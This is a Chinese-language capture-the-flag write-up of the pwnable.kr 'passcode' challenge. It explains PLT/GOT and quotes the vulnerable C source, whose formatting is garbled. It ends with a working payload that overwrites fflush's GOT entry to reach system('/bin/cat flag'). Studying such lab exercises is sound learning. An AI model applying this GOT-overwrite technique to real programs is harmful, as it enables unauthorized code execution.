初步了解linux下函数机制的一道题,过程比较艰辛 ,怕以后忘了,故此记录
需要了解的知识 > ### ELF文件函数运行机制 PLT 表 ( Procedure Linkage Table --过程链接表) 与GOT表 ( Global Offset Table -- 全局偏移表 )
解题思路
题目地址:ssh passcode@pwnable.kr:2222
> 1. 基本思路是利用脏值passcode1 > 2.
将name残余的数据构造成执行完scanf()函数后将要执行的函数的GOT地址 > 3.
然后通过scanf()
对GOT地址进行操作,使得程序jmp到想要运行的地址或者说是函数。
大致流程图
先看源码
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
("enter passcode1 : ");
printf("%d", passcode1); // 正常用法passcode1应该有取地址符&
scanf(stdin);
fflush
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
("enter passcode2 : ");
printf("%d", passcode2); // 与passcode1同样的问题
scanf
("checking...\n");
printfif(passcode1==338150 && passcode2==13371337){
("Login OK!\n");
printf("/bin/cat flag");
system}
else{
("Login Failed!\n");
printf(0);
exit}
}
void welcome(){
char name[100];
("enter you name : ");
printf("%100s", name);
scanf("Welcome %s!\n", name);
printf}
int main(){
("Toddler's Secure Login System 1.0 beta.\n");
printf
();
welcome();
login
// something after login...
("Now I can safely trust you that you have credential :)\n");
printfreturn 0;
}
login的scanf获取passcode1的时候没有取地址符&,而且passcode1与passcode2
没有初始化,是一个脏值。
主函数main调用welcome()
和login()
;
Welcome()处声明了一个100字节长的char数组name;
void welcome(){
char name[100];
("enter you name : ");
printf("%100s", name);
scanf("Welcome %s!\n", name);
printf}
gdb调试
发现name的地址和passcode1的地址相差96个字节 我是通过本地编译,然后设置断点,查看变量地址然后相减得到的距离 其他大牛的wp都是看汇编看出来的
然后说因为在main中调用了welcome()
后立刻调用login()
,而且均是无参数,所以ebp是一样的,故相差地址为
-0x70-(-0x10)=-96 bytes
现在才疏学浅,未学习win32汇编,也不知道为啥是一样的ebp,留个坑吧。
name填充,然后留下构造的fflush()
的GOT地址的大致示意图在上文,就不多说了
然后填充的payload即为以下,整好100字节
'a'*96+'\x04\xa0\x04\x08'
然后将地址0x0804a004的内容修改为system()
的地址就大功告成了
所以我们应该修改为0x080485e3
因为scanf的格式是%d,所以要将0x080485e3化为十进制的134514147
所以payload修改为:
Python -c 'print "a"*96+"\x04\xa0\x04\x08" +"\n"+"134514147"+"\n" '